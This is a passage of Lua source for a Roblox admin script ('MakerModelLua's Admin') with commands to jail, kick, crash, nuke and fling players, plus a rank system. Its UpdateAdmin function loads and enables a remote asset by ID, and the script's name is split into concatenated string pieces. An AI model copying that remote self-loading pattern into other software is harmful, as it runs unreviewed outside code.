  785. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
  786. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
  787. local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
  788. Cell:MoveTo(Vector3.new(0,3,0))
  789.  
  790. if Player.Character and Player.Character:FindFirstChild("Torso") then
  791. Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
  792. Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
  793. end
  794. table.insert(Dispose, Cell)
  795. Jails[Player.Name] = Cell
  796. end
  797.  
  798. function CORE:UnJail(Player)
  799. if not Player then return nil end
  800. if Jails[Player.Name] then
  801. Jails[Player.Name]:Destroy()
  802. Jails[Player.Name] = nil
  803. end
  804. end
  805.  
  806. function CORE:ChangeName(Player, NewName)
  807. if not Player or not NewName then return nil end
  808. if Player.Character ~= nil then if Player.Character:FindFirstChild("Humanoid") ~= nil then
  809. local NewName = STRING:FormatReplace(Player, NewName)
  810.  
  811. local Head = nil
  812. pcall(function() Head = Player.Character.Label:GetChildren()[1].Head end)
  813. if not Head then Head = Player.Character.Head end
  814. local HeadClone = Head:Clone()
  815. Head.Transparency = 1
  816. pcall(function() Player.Character.Label:Destroy() Head = Player.Character.Head end)
  817.  
  818. pcall(function() Head.face.Transparency = 1 end)
  819.  
  820. local Label = Instance.new("Model", Player.Character)
  821. Label.Name = "Label"
  822.  
  823. local Model = Instance.new("Model", Label)
  824. Model.Name = NewName
  825.  
  826. local HumanoidClone = Instance.new("Humanoid", Model)
  827. coroutine.wrap(function() while wait() and Player.Character do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
  828.  
  829. HeadClone.Parent = Model
  830. HeadClone.Position = Vector3.new(0,100,0)
  831. HeadClone.CanCollide = false
  832. ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
  833.  
  834. local Weld = Instance.new("Weld", HeadClone)
  835. Weld.Part0 = HeadClone
  836. Weld.Part1 = Head
  837. end end
  838. end
  839.  
  840. function CORE:UpdateAdmin()
  841. local UpdateModel = AdminID
  842. if UpdateModel == 0 then return end
  843. local NewAdminModel = Server.IS:LoadAsset(UpdateModel)
  844. local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
  845. if NewAdmin then
  846. local NewVersion = NewAdmin:FindFirstChild("Version")
  847. if NewVersion.Value ~= CORE.Version.Value then
  848. if ExploitModule then
  849. ExploitModule.Disabled = true
  850. ExploitModule:Destroy()
  851. end
  852. NewAdmin.Disabled = true
  853. NewAdmin.Parent = Workspace
  854. if not Settings then
  855. local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
  856. if NewSettings then NewSettings.Parent = Workspace end
  857. end
  858. wait() NewAdmin.Disabled = false
  859. CORE:RemoveAdmin()
  860. else
  861. NewAdminModel:Destroy()
  862. end
  863. end
  864. end
  865.  
  866. function CORE:UnpackPlayers(Players)
  867. local PlayerNames = ""
  868. for Num,Player in pairs(Players) do
  869. if Player ~= nil then
  870. if Num ~= #Players then
  871. PlayerNames = PlayerNames..Player.Name..", "
  872. else
  873. PlayerNames = PlayerNames..Player.Name
  874. end
  875. end
  876. end
  877. return PlayerNames
  878. end
  879.  
  880. function CORE:GetValue(Value)
  881. if Value:IsA("StringValue") then
  882. if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
  883. if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
  884. if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
  885. if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
  886. if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
  887. if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
  888. if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
  889. for Num,Admin in pairs(Settings.Ranks["Admin"]) do
  890. if Admin == Value.Value then
  891. table.remove(Settings.Ranks["Admin"],Num)
  892. end
  893. end
  894. end end
  895. end
  896. end
  897.  
  898. function CORE:GetPlayer(ID)
  899. local Return = {"Unknown", ID}
  900. if tonumber(ID) then
  901. for _,Data in pairs(CharacterCache) do
  902. if ID == Data[2] then
  903. return Data
  904. end
  905. end
  906. ypcall(function()
  907. local Name = Server.Players:GetNameFromUserIdAsync(ID)
  908. if Name then
  909. local Data = {Name, ID}
  910. table.insert(CharacterCache, Data)
  911. Return = Data
  912. end
  913. end)
  914. else
  915. local Name = tostring(ID)
  916. for _,Data in pairs(CharacterCache) do
  917. if string.lower(Name) == string.lower(Data[1]) then
  918. return Data
  919. end
  920. end
  921. ypcall(function()
  922. local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
  923. if PlayerID then
  924. Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
  925. local Data = {Name, PlayerID}
  926. table.insert(CharacterCache, Data)
  927. Return = Data
  928. end
  929. end)
  930. end
  931.  
  932. return Return
  933. end
  934.  
  935. function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
  936. if ID and #tostring(ID) >= 1 then
  937. local PlayerName = nil
  938.  
  939. local Players = STRING:Scan(ID, Speaker)
  940. if #Players >= 1 then -- if player is found in server
  941. ID = Players[1].userId
  942. elseif tonumber(ID) then
  943. local Data = CORE:GetPlayer(ID)
  944. PlayerName = Data[1]
  945. else
  946. local Data = CORE:GetPlayer(tostring(ID))
  947. PlayerName = Data[1]
  948. ID = Data[2]
  949. end
  950.  
  951. if tonumber(ID) == 20018 then -- exploding easter bunny
  952. local OldID = ID
  953. ID = 1
  954. if Speaker then
  955. if RANK:GetRank(Speaker) == "Member" then
  956. coroutine.wrap(function()
  957. wait(1)
  958. GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
  959. end)()
  960. else ID = OldID
  961. end
  962. end
  963. end
  964.  
  965. local Position = nil
  966. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  967. if ManualPos then
  968. Position = ManualPos
  969. else
  970. Position = Player.Character.Torso.Position
  971. end
  972. end
  973. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
  974. wait() Player:LoadCharacter() wait()
  975. if Position then Player.Character:MoveTo(Position) end
  976. if not Perm then
  977. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.userId
  978. end
  979. if NameChar and PlayerName then
  980. wait(1)
  981. CORE:ChangeName(Player, PlayerName)
  982. end
  983. end
  984. end)() end
  985.  
  986. function CORE:GenerateShield(Player)
  987. if not Player then return nil end
  988. if not Player.Character then return nil end
  989. local Torso = Player.Character:FindFirstChild("Torso")
  990. if not Torso then return nil end
  991.  
  992. local Shield = Player.Character:FindFirstChild("Shield")
  993. if Shield then Shield:Destroy() end
  994.  
  995. Shield = Instance.new("Part", Player.Character)
  996. Shield.Name = "Shield"
  997. Shield.Locked = true
  998. Shield.CanCollide = false
  999. Shield.Size = Vector3.new(10,10,10)
  1000. Shield.Shape = "Ball"
  1001. Shield.Color = GUI:GetColor()
  1002. Shield.Transparency = 0.5
  1003. Shield.TopSurface = "Smooth"
  1004. Shield.BottomSurface = "Smooth"
  1005. Shield.Anchored = true
  1006. Shield.Position = Torso.Position
  1007.  
  1008. local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
  1009. local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
  1010.  
  1011. Hum:Play()
  1012.  
  1013. Shield.Touched:connect(function(Part)
  1014. if Part.Parent ~= Server.Workspace then
  1015. local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
  1016. if Humanoid then
  1017. local Char = Humanoid.Parent
  1018. if Char:IsA("Model") and Humanoid.Health > 0 then
  1019. if Char ~= Player.Character then
  1020. Char:BreakJoints()
  1021. Zap:Play()
  1022. end
  1023. end
  1024. end
  1025. end
  1026. end)
  1027.  
  1028. coroutine.wrap(function() repeat wait()
  1029. Shield.CFrame = Torso.CFrame
  1030. until Torso.Parent == nil or Shield.Parent == nil end)()
  1031. end
  1032.  
  1033. function CORE:FlingPlayer(Player)
  1034. if Player and Player.Character then
  1035. if Player.Character:FindFirstChild("Torso") then
  1036. local Fling = Instance.new("BodyForce", Player.Character.Torso)
  1037. Fling.Name = "Fling"
  1038. Fling.force = Vector3.new(10000,10000,10000)
  1039. end
  1040. end
  1041. end
  1042.  
  1043. function CORE:Kick(Player, CustomMessage)
  1044. if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
  1045. coroutine.wrap(function()
  1046. CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
  1047. wait(1)
  1048. Player:Kick(CustomMessage)
  1049. end)()
  1050. end
  1051.  
  1052. function CORE:Crash(Player)
  1053. local Parent = Player
  1054. if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
  1055. elseif Player.Character then Parent = Player.Character end
  1056.  
  1057. CORE:ExecuteResource("Crash", Parent)
  1058. end
  1059.  
  1060. function CORE:RestoreCamera(Player)
  1061. if Player.Backpack then
  1062. CORE:ExecuteResource("RestoreCamera", Player.Backpack)
  1063. end
  1064. end
  1065.  
  1066. function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
  1067. local function ScanInstance(Object)
  1068. if #Object:GetChildren() > 0 then
  1069. for _,Obj in pairs(Object:GetChildren()) do
  1070. local IsType = false
  1071. if ObjTypes and #ObjTypes > 0 then
  1072. for _,ObjType in pairs(ObjTypes) do
  1073. if Obj:IsA(ObjType) then
  1074. IsType = true
  1075. break
  1076. end
  1077. end
  1078. else
  1079. IsType = true
  1080. end
  1081. if IsType == true then
  1082. ActiveFunc(Obj)
  1083. end
  1084. ScanInstance(Obj)
  1085. end
  1086. end
  1087. end
  1088. ScanInstance(BaseObj)
  1089. end
  1090.  
  1091. function CORE:AnchorPlayer(Player)
  1092. if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1093.  
  1094. Player.Character.Humanoid.WalkSpeed = 0
  1095. for _,Object in pairs(Player.Character:GetChildren()) do
  1096. if Object:IsA("BasePart") then
  1097. Object.Anchored = true
  1098. end
  1099. end
  1100. end
  1101.  
  1102. function CORE:UnanchorPlayer(Player)
  1103. if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1104.  
  1105. Player.Character.Humanoid.WalkSpeed = 16
  1106. for _,Object in pairs(Player.Character:GetChildren()) do
  1107. if Object:IsA("BasePart") then
  1108. Object.Anchored = false
  1109. end
  1110. end
  1111. end
  1112.  
  1113. function CORE:InvisiblePlayer(Player)
  1114. if not Player or not Player.Character then return end
  1115.  
  1116. CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
  1117. end
  1118.  
  1119. function CORE:VisiblePlayer(Player)
  1120. if not Player or not Player.Character then return end
  1121.  
  1122. CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
  1123. end
  1124.  
  1125. function CORE:Nuke(Player) coroutine.wrap(function()
  1126. local Pos = CFrame.new(0,1,0)
  1127. if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
  1128. local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
  1129. local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
  1130. local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
  1131. local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
  1132. local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
  1133.  
  1134. Server.Lighting.Brightness = 5
  1135. Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
  1136. Server.OutdoorAmbient = Color3.new(1,1,1)
  1137.  
  1138. local Exp = Instance.new("Explosion", Server.Workspace)
  1139. Exp.Position = Pos.p
  1140. Exp.BlastPressure = 10000000
  1141. Exp.BlastRadius = 1000000
  1142. Exp.Hit:connect(function(Part)
  1143. if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
  1144. ypcall(function()
  1145. Part.Anchored = false
  1146. Part.BrickColor = BrickColor.new("Black")
  1147. Part.Material = "Slate"
  1148. Part:BreakJoints()
  1149. end)
  1150. end
  1151. end)
  1152.  
  1153. local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
  1154. BoomSound:Play()
  1155. for i = 0,100,0.5 do
  1156. Blast.Anchored = true
  1157. Wave.Anchored = true
  1158. BlastMesh.Scale = Vector3.new(i,i,i)
  1159. WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
  1160. Blast.CFrame = Pos
  1161. wait()
  1162. end
  1163. BoomSound:Stop()
  1164. Blast:Destroy()
  1165. Wave:Destroy()
  1166. wait()
  1167. BoomSound:Destroy()
  1168. for i = 10,5,-1 do
  1169. Server.Lighting.Brightness = (i-5) + 1
  1170. Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
  1171. Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
  1172. wait(0.05)
  1173. end
  1174. end)() end
  1175.  
  1176. function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
  1177. local AssetID = tonumber(AssetID)
  1178. local Item = nil
  1179. if AssetID then
  1180. local CanInsert = true
  1181. if AbuseMode then
  1182. for _,ID in pairs(RemoteAbuseGear) do
  1183. if AssetID == ID then CanInsert = false break end
  1184. end
  1185. for _,ID in pairs(Settings.AbusableGear) do
  1186. if AssetID == ID then CanInsert = false break end
  1187. end
  1188. end
  1189. if CanInsert then
  1190. Item = Server.IS:LoadAsset(AssetID)
  1191.  
  1192. if GetFirstChild then
  1193. Item = Item:GetChildren()[1]
  1194. if FirstChildTypes and Item then
  1195. local ValidType = false
  1196. for _,Type in pairs(FirstChildTypes) do
  1197. if Item:IsA(Type) then
  1198. ValidType = true
  1199. break
  1200. end
  1201. end
  1202. if ValidType == false then
  1203. Item = nil
  1204. end
  1205. end
  1206. end
  1207. if Item and Parent then
  1208. Item.Parent = Parent
  1209. end
  1210. end
  1211. end
  1212. return Item
  1213. end
  1214.  
  1215. function CORE:GivePackage(Player, PID) coroutine.wrap(function()
  1216. if not Player or not Player.Character then return nil end
  1217. PID = tonumber(PID)
  1218. for _,Obj in pairs(Player.Character:GetChildren()) do
  1219. if Obj:IsA("CharacterMesh") then Obj:Destroy() end
  1220. end
  1221. if PID then
  1222. if PackageCache[PID] then
  1223. for _,ID in pairs(PackageCache[PID]) do
  1224. CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1225. end
  1226. else
  1227. local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
  1228. if IDsJSON then
  1229. local IDs = REMOTE:Decode(IDsJSON)
  1230. if IDs then
  1231. if not IDs["Error"] then
  1232. table.insert(PackageCache, IDs)
  1233. for _,ID in pairs(IDs) do
  1234. CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1235. end
  1236. end
  1237. end
  1238. end
  1239. end
  1240. end
  1241. end)() end
  1242.  
  1243. function CORE:ChangeBet(Bet)
  1244. if tostring(Bet) and Bet ~= Settings.Bet then
  1245. for Index,Data in pairs(Commands) do
  1246. Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
  1247. end
  1248. Settings.Bet = Bet
  1249. end
  1250. end
  1251.  
  1252. function CORE:ResetLighting()
  1253. ModLighting = false wait(0.2) ModLighting = true
  1254. end
  1255.  
  1256. function CORE:Fly(Player, Force)
  1257. if Player and Player.Character then
  1258. return CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force})
  1259. end
  1260. end
  1261.  
  1262. function CORE:GiveTools(Player, Type)
  1263. if not Player or not Player:FindFirstChild("Backpack") then return nil end
  1264. Type = string.lower(Type)
  1265. local _,RankNum = RANK:GetRank(Player)
  1266. local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
  1267. local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
  1268.  
  1269. if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
  1270. for Name,Type in pairs(BaseBuildTools) do
  1271. local Tool = Instance.new("HopperBin", Player.Backpack)
  1272. Tool.Name = Name
  1273. Tool.BinType = Type
  1274. end
  1275. elseif Type == "psbtools" then
  1276. for _,Tool in pairs(BuildTools) do
  1277. CORE:Insert(Tool, Player.Backpack, true)
  1278. end
  1279. elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
  1280. if F3X then
  1281. local F3X = F3X:Clone()
  1282. F3X.Parent = Player.Backpack
  1283. end
  1284. elseif Type == "btools" then
  1285. if F3X then
  1286. local F3X = F3X:Clone()
  1287. F3X.Parent = Player.Backpack
  1288. end
  1289. for Name,Type in pairs(BaseBuildTools) do
  1290. local Tool = Instance.new("HopperBin", Player.Backpack)
  1291. Tool.Name = Name
  1292. Tool.BinType = Type
  1293. end
  1294. for _,Tool in pairs(BuildTools) do
  1295. CORE:Insert(Tool, Player.Backpack, true)
  1296. end
  1297. else
  1298. for _,Region in pairs(ToolRegions) do
  1299. CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  1300. if Type == "all" then
  1301. local NewItem = Item:Clone()
  1302. NewItem.Parent = Player.Backpack
  1303. elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
  1304. local NewItem = Item:Clone()
  1305. NewItem.Parent = Player.Backpack
  1306. end
  1307. end)
  1308. end
  1309. end
  1310. end
  1311.  
  1312. function CORE:Scale(Player, ScalePercent)
  1313. if not Player or not Player.Character or not tonumber(ScalePercent) then return end
  1314. local Ratio = ScalePercent/100
  1315. if Ratio < 0.05 then Ratio = 0.05 end
  1316. if Ratio > 100 then Ratio = 100 end
  1317. local Char = Player.Character
  1318.  
  1319. local Clean = Char:FindFirstChild("Clean")
  1320. if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
  1321. Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
  1322.  
  1323. local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
  1324. local Welds = {}
  1325. local Parts = {}
  1326.  
  1327. local function Handle(Obj)
  1328. if Obj:IsA("BasePart") and not JustWeld then
  1329. table.insert(Parts, Obj)
  1330. elseif Obj:IsA("SpecialMesh") and not JustWeld then
  1331. if Obj.Name == "MML Mesh" then
  1332. Obj:Destroy()
  1333. end
  1334. if Obj.MeshType == Enum.MeshType.FileMesh then
  1335. Obj.Offset = Obj.Offset * ScaleRatio
  1336. Obj.Scale = Obj.Scale * ScaleRatio
  1337. elseif Ratio < 1 then
  1338. Obj.Offset = Obj.Offset * ScaleRatio
  1339. Obj.Scale = Obj.Scale * ScaleRatio
  1340. end
  1341. elseif Obj:IsA("CharacterMesh") and not JustWeld then
  1342. if Ratio < 1 then
  1343. local BodyPart = ""
  1344. local TextureID = Obj.BaseTextureId
  1345. if TextureID == 0 then TextureID = Obj.OverlayTextureId end
  1346. if TextureID == 0 then TextureID = nil end
  1347. if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
  1348. if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
  1349. if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
  1350. if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
  1351. if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
  1352. if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
  1353. local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
  1354. NewMesh.Name = "MML Mesh"
  1355. NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
  1356. if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
  1357. NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
  1358. Obj:Destroy()
  1359. end
  1360. elseif Obj:IsA("JointInstance") then
  1361. local NewWeld = Obj:Clone()
  1362. table.insert(Welds, {NewWeld, Obj.Parent})
  1363. elseif NewAdd == true and not JustWeld then
  1364. if Obj:IsA("Tool") then
  1365. --Cycle(Char["Right Arm"], ScaleRatio, false, true)
  1366. elseif Obj:IsA("Accoutrement") then
  1367. --Cycle(Char.Head, ScaleRatio, false, true)
  1368. end
  1369. end
  1370. if #Obj:GetChildren() > 0 then
  1371. for _,NewObj in pairs(Obj:GetChildren()) do
  1372. Handle(NewObj, ScaleRatio)
  1373. end
  1374. end
  1375. end
  1376. Handle(BaseObj)
  1377. for _,Part in pairs(Parts) do
  1378. if Ratio >= 1 then
  1379. Part.Size = Part.Size * ScaleRatio
  1380. else
  1381. local Allowed = true
  1382. for _,Obj in pairs(Part:GetChildren()) do
  1383. if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
  1384. Allowed = false
  1385. end
  1386. end
  1387. if Allowed == true then
  1388. local NewMesh = Instance.new("BlockMesh", Part)
  1389. NewMesh.Name = "MML Mesh"
  1390. NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
  1391. end
  1392. end
  1393. end
  1394. for _,WeldData in pairs(Welds) do
  1395. if WeldData[1] then
  1396. local Obj = WeldData[1]
  1397. local NewWeld = Obj:Clone()
  1398.  
  1399. NewWeld.Parent = WeldData[2]
  1400. NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
  1401. NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
  1402. end
  1403. end
  1404. for _,Part in pairs(Parts) do
  1405. Part:MakeJoints()
  1406. end
  1407. Welds = {}
  1408. Parts = {}
  1409. end
  1410. Cycle(Char, Ratio)
  1411. Char:MakeJoints()
  1412.  
  1413. local Added = Char.ChildAdded:connect(function(Obj)
  1414. Cycle(Obj, Ratio, NewAdd)
  1415. end)
  1416. local Removed = Char.ChildRemoved:connect(function(Obj)
  1417. Cycle(Obj, Ratio^-1, NewAdd)
  1418. end)
  1419.  
  1420. Clean.OnInvoke = function()
  1421. Added:disconnect()
  1422. Removed:disconnect()
  1423. local Location = Vector3.new(0,5,0)
  1424. if Char:FindFirstChild("Torso") then
  1425. Location = Char.Torso.Position + Vector3.new(0,2,0)
  1426. end
  1427. Player:LoadCharacter()
  1428. wait(0.5)
  1429. Player.Character:MoveTo(Location)
  1430. wait(0.5)
  1431. return nil
  1432. end
  1433.  
  1434. if Char:FindFirstChild("Torso") then
  1435. Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
  1436. end
  1437. if Char:FindFirstChild("Humanoid") then
  1438. Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
  1439. end
  1440. if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
  1441. Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
  1442. end
  1443. end
  1444.  
  1445. function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
  1446. if not tostring(Name) then Name = "Dummy" end
  1447. if not Position then Position = Vector3.new(0,5,0) end
  1448. if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  1449. Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
  1450. end
  1451.  
  1452. local Figure = CORE:Insert(68452456, Server.Workspace, true)
  1453. Figure:MakeJoints()
  1454. Figure.Head.BrickColor = BrickColor.new("Bright yellow")
  1455. Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
  1456. Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
  1457. Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
  1458. Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
  1459. Figure.Torso.BrickColor = BrickColor.new("Bright blue")
  1460.  
  1461. Figure.Name = STRING:FormatReplace(Speaker, Name)
  1462. Figure:MoveTo(Position)
  1463.  
  1464. table.insert(Objects, Figure)
  1465.  
  1466. if DisableAnimation == true then
  1467. Figure.Animate.Disabled = true
  1468. end
  1469.  
  1470. return Figure
  1471. end
  1472.  
  1473. function CORE:ClonePlayer(Player, Name, Position)
  1474. if not Player or not Player.Character then return nil end
  1475.  
  1476. Player.Character.Archivable = true
  1477. local Char = Player.Character:Clone()
  1478. Player.Character.Archivable = false
  1479. if Name then Char.Name = STRING:FormatReplace(Player, Name) end
  1480. if Position then Char:MoveTo(Position) end
  1481. Char.Parent = Server.Workspace
  1482. Char:MakeJoints()
  1483. Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
  1484.  
  1485. table.insert(Objects, Char)
  1486.  
  1487. return Obj
  1488. end
  1489.  
  1490. function CORE:AddWaypoint(Name, Position, Speaker)
  1491. Waypoints[Name] = Position
  1492. if Speaker then
  1493. GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
  1494. end
  1495. end
  1496.  
  1497. -- Rank functions --
  1498.  
  1499. function RANK:ConvertRank(Input)
  1500. local Output = nil
  1501. if Input == "Muted" then Output = -3 end
  1502. if Input == "Crashed" then Output = -2 end
  1503. if Input == "Banned" then Output = -1 end
  1504. if Input == "Non-Admin" then Output = 0 end
  1505. if Input == "Member" then Output = 1 end
  1506. if Input == "Admin" then Output = 2 end
  1507. if Input == "Owner" then Output = 3 end
  1508.  
  1509. if Input == -3 then Output = "Muted" end
  1510. if Input == -2 then Output = "Crashed" end
  1511. if Input == -1 then Output = "Banned" end
  1512. if Input == 0 then Output = "Non-Admin" end
  1513. if Input == 1 then Output = "Member" end
  1514. if Input == 2 then Output = "Admin" end
  1515. if Input == 3 then Output = "Owner" end
  1516. return Output
  1517. end
  1518.  
  1519. function RANK:IsAdmin(Player)
  1520. local AdminStatus = false
  1521. local Rankstatus = "Non-Admin"
  1522. if type(Player) == "table" then
  1523. if RANK:ConvertRank(Player.Rank) > 0 then
  1524. return true, Player.Rank
  1525. else
  1526. return false, Player.Rank
  1527. end
  1528. end
  1529. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1530. for _,AdminName in pairs(PlayerNames) do
  1531. if string.lower(AdminName) == string.lower(Player.Name) then
  1532. if RANK:ConvertRank(Rank) > 0 then
  1533. AdminStatus = true
  1534. Rankstatus = Rank
  1535. end
  1536. end
  1537. end
  1538. end
  1539. return AdminStatus, Rankstatus
  1540. end
  1541.  
  1542. function RANK:GetRank(PlayerName)
  1543. if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  1544. if type(PlayerName) == "table" then
  1545. local RankNum = RANK:ConvertRank(PlayerName.Rank)
  1546. if RankNum > 0 then
  1547. return PlayerName.Rank, RankNum, true
  1548. else
  1549. return PlayerName.Rank, RankNum, false
  1550. end
  1551. end
  1552.  
  1553. local RankStat = "Non-Admin"
  1554.  
  1555. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1556. for _,AdminName in pairs(PlayerNames) do
  1557. if string.lower(AdminName) == string.lower(PlayerName) then
  1558. RankStat = Rank
  1559. end
  1560. end
  1561. end
  1562.  
  1563. if RankStat == "Non-Admin" then
  1564. return "Non-Admin", 0, false
  1565. else
  1566. return RankStat, RANK:ConvertRank(RankStat), true
  1567. end
  1568. end
  1569.  
  1570. function RANK:RemoveRank(PlayerName)
  1571. if not RANK:IsSupremeOwner(PlayerName) then
  1572. if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  1573.  
  1574. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1575. for Num,AdminName in pairs(PlayerNames) do
  1576. if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  1577. table.remove(Settings.Ranks[Rank], Num)
  1578. end
  1579. end
  1580. end
  1581. end
  1582. end
  1583.  
  1584. function RANK:GetAdmins(Ranking)
  1585. local Players = {}
